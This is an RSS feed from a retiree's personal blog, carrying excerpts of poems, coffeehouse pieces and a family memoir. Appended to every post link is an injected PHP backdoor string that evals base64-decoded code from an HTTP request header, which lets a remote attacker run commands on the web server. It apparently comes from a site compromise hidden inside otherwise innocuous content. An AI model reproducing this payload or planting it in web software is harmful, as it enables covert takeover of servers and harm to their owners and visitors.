http://www.doodlefriendzy.com Poetry, Thoughts and Scribblings by Don Peery Tue, 30 Dec 2008 23:22:38 +0000 http://backend.userland.com/rss092 en Possible Benicia Readings Spending about half of my time in Benicia with my Lady, I have been involved with a first and second Tuesday Poetry reading group.  The following poems were the first ad-hoc group of poems I shared with them.  There was no rhyme nor reason for the selection, but it seemed to go ... http://www.doodlefriendzy.com/2008/12/17/benicia-readings/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ About...   My Life (and Other Bits of Nonsense)   After I turned 60, retired and started spending early morning coffee with my older sister two to three times a week, I grew to value her stories about my family that I did not remember or even knew because I was the younger ... http://www.doodlefriendzy.com/2008/12/17/about-my-life/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/   Hi!  Here are several examples of pitcures and poetry from the Book Coffeehouse Reflections available under Books.  Enjoy!               Coffee Shop Reality   It seems to me the coffee shop has come of Age. Ubiquitous, more than a café, less than a salon, dispensing Lattes, hot, and Frappuccinos, cold, to match the weather; no longer after-hour hangouts ... http://www.doodlefriendzy.com/2008/12/15/coffeehouse-reflections-exerpts/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/                                    Rose Hill Cemetery                Black Diamond Mines, California                       Miner’s Rest Hello stranger.  I almost didn’t see you there – perhaps it was your staring at the broke off base where once my marker stood that caught my poor attention. You see, I’ve rested here upon this hill since near eighteen-seventy-five.  I was but thirty-five when the ... http://www.doodlefriendzy.com/2008/12/14/rose-hill-cemetery/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.doodlefriendzy.com/2008/11/14/poetry-matters/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ ****   My Life (and Other Bits of Nonsense)   Chapter I             Where do you start when you begin writing about your life?  I guess the first thing is to figure out who your audience is.  My kids might, perhaps my grand children, probably; possibly the few friends I have left, and maybe some ... http://www.doodlefriendzy.com/2008/11/14/95/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/     ****    My Life (and Other Bits of Nonsense)   After I turned 60, retired and started spending early morning coffee with my older sister two to three times a week, I grew to value her stories about my family that I did not remember or even knew because I was the younger child ... http://www.doodlefriendzy.com/2008/03/25/my-life-and-other-bits-of-nonsense/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/